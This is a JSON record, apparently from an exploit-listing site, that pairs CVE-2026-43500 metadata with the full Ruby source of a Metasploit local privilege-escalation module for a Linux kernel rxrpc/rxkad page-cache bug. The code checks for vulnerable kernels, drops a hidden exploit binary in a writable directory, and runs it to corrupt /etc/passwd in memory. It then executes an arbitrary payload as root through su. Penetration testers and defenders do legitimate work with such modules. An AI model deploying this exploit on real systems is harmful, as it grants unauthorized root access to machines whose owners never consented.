{"exploit":{"id":"MSF-linux--local--cve_2026_43500_dirty_frag","name":"rxkad Page-Cache Write via CVE-2026-43500","description":"CVE-2026-43500 exploits a memory-corruption vulnerability in the Linux kernel's RxRPC authentication subsystem (rxkad). When a crafted DATA packet is delivered to an AF_RXRPC socket configured with an attacker-controlled rxkad session key, the kernel's rxkad_verify_packet_1() function performs an in-place 8-byte pcbc(fcrypt) decryption directly on the page-cache page referenced by the splice offset. Because the decryption mutates the page in-place without marking it dirty, the corrupted in-memory view is immediately visible to all processes reading from the page cache. This allows a local attacker to corrupt the in-memory contents of a SUID binary and escalate privileges to root.","cves":["CVE-2026-43500"],"author":"Hyunwoo Kim, Giovanni Heward","published":"2026-05-08","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/local/cve_2026_43500_dirty_frag.rb","path":"modules/exploits/linux/local/cve_2026_43500_dirty_frag.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"cve_2026_43500_dirty_frag.rb","vulnerabilities":[{"id":"CVE-2026-43500","state":"PUBLISHED","title":"rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present","titleSource":"CVE Program","description":"In the Linux kernel, the following vulnerability has been resolved: rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present The DATA-packet handler in rxrpc_input_call_event() and the RESPONSE handler in rxrpc_verify_response() copy the skb to a linear one before calling into the security ops only when skb_cloned() is true. An skb that is not cloned but still carries externally-owned paged fragments (e.g. SKBFL_SHARED_FRAG set by splice() into a UDP socket via __ip_append_data, or a chained skb_has_frag_list()) falls through to the in-place decryption path, which binds the frag pages directly into the AEAD/skcipher SGL via skb_to_sgvec(). Extend the gate to also unshare when skb_has_frag_list() or skb_has_shared_frag() is true. This catches the splice-loopback vector and other externally-shared frag sources while preserving the zero-copy fast path for skbs whose frags are kernel-private (e.g. NIC page_pool RX, GRO). The OOM/trace handling already in place is reused.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43500","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"Linux","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-43500"},"updatedAt":"2026-09-01T12:05:00.158Z","retrievedAt":"2026-11-25T16:15:43.568Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--local--cve_2026_43500_dirty_frag.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--local--cve_2026_43500_dirty_frag","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--cve_2026_43500_dirty_frag/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--local--cve_2026_43500_dirty_frag/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = GoodRanking\n\n  include Msf::Post::File\n  include Msf::Post::Linux::Priv\n  include Msf::Post::Linux::Kernel\n  include Msf::Post::Linux::System\n  include Msf::Post::Linux::Compile\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'rxkad Page-Cache Write via CVE-2026-43500',\n        'Description' => %q{\n          CVE-2026-43500 exploits a memory-corruption vulnerability in the Linux kernel's RxRPC\n          authentication subsystem (rxkad). When a crafted DATA packet is delivered to an AF_RXRPC\n          socket configured with an attacker-controlled rxkad session key, the kernel's\n          rxkad_verify_packet_1() function performs an in-place 8-byte pcbc(fcrypt) decryption\n          directly on the page-cache page referenced by the splice offset. Because the decryption\n          mutates the page in-place without marking it dirty, the corrupted in-memory view is\n          immediately visible to all processes reading from the page cache. This allows a local\n          attacker to corrupt the in-memory contents of a SUID binary and escalate privileges to root.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Hyunwoo Kim',      # Discovery\n          'Giovanni Heward',  # Original module\n        ],\n        'References' => [\n          ['CVE', '2026-43500'],\n          ['EDB', '52585'],\n          ['EDB', '52591'],\n          ['URL', 'https://github.com/V4bel/dirtyfrag'],\n        ],\n        'SessionTypes' => [ 'shell', 'meterpreter' ],\n        'Platform' => [ 'linux', 'unix' ],\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          'BadChars' => \"'\"\n        },\n        'Targets' => [[ 'Auto', {} ]],\n        'DisclosureDate' => '2026-05-08',\n        'Notes' => {\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'Stability' => [ CRASH_OS_DOWN ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('WRITABLE_DIR', [ true, 'Directory to write files to', '/tmp' ])\n    ])\n  end\n\n  def check\n    dirtyfrag_modprobe = cmd_exec('ls /etc/modprobe.d/ | grep -e dirty -e dirty-frag -e dirtyfrag')\n\n    return CheckCode::Safe('The machine seems to be patched') unless dirtyfrag_modprobe.blank?\n\n    return CheckCode::Unknown('The rxrpc module has not been detected') unless kernel_modules.include?('rxrpc')\n\n    kernel_version = Rex::Version.new kernel_release.split('-').first\n\n    return CheckCode::Safe('The kernel version is older than the commit when bug was introduced') if kernel_version < Rex::Version.new('5.3')\n\n    CheckCode::Appears('The target is vulnerable, vulnerable module detected and no mitigation detected')\n  end\n\n  def exploit\n    payload_dir = datastore['WRITABLE_DIR']\n    fail_with(Failure::NoAccess, 'Cannot write into WRITABLE_DIR, make sure you select writable directory') unless writable?(payload_dir)\n\n    arch = kernel_arch\n\n    exploit_file = \"#{payload_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}\"\n\n    if live_compile?\n      print_status('Live compiling exploit on system...')\n      exploit_c = exploit_data('CVE-2026-43500', 'CVE_2026_43500.c')\n      upload_and_compile(exploit_file, exploit_c)\n    else\n\n      fail_with(Failure::BadConfig, 'Precompiled exploit only supported for x64, x86, Arm64 and Armel') unless [ARCH_X64, ARCH_X86, ARCH_AARCH64, ARCH_ARMLE].include?(arch)\n\n      vprint_status('Dropping pre-compiled exploit on system...')\n      exploit_bin = exploit_data('CVE-2026-43500', \"CVE_2026_43500_#{arch}\")\n      upload_and_chmodx(exploit_file, exploit_bin)\n    end\n\n    register_file_for_cleanup(exploit_file)\n\n    print_status('Trying to patch in-pages /etc/passwd')\n    # patch the setuid file\n    response = cmd_exec(exploit_file.to_s)\n\n    fail_with(Failure::NotVulnerable, 'The target application seems to be not vulnerable') unless response.include?('Success!')\n\n    print_status(%(Trying to run stuff as root: \"/usr/bin/su - root -c '#{payload.encoded}'\"))\n    # run the payload\n    cmd_exec(\"/usr/bin/su - root -c '#{payload.encoded}'\")\n  end\n\n  def on_new_session(session)\n    print_status('Restoring balance in galaxy')\n    if session.type.eql?('meterpreter')\n      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')\n      session.sys.process.execute('/bin/sh', \"-c 'echo 3 > /proc/sys/vm/drop_caches\")\n    else\n      session.shell_command_token('echo 3 > /proc/sys/vm/drop_caches')\n    end\n\n    super\n  end\n\nend\n","sha256":"6c37b7fda92242b3fefa30589f7a398cf3a7d3c27d92c218dd8d2e16d097950d","bytes":4649,"fetchedAt":"2026-11-25T16:31:01.078Z","encoding":"utf-8 (display only; download retains original bytes)"}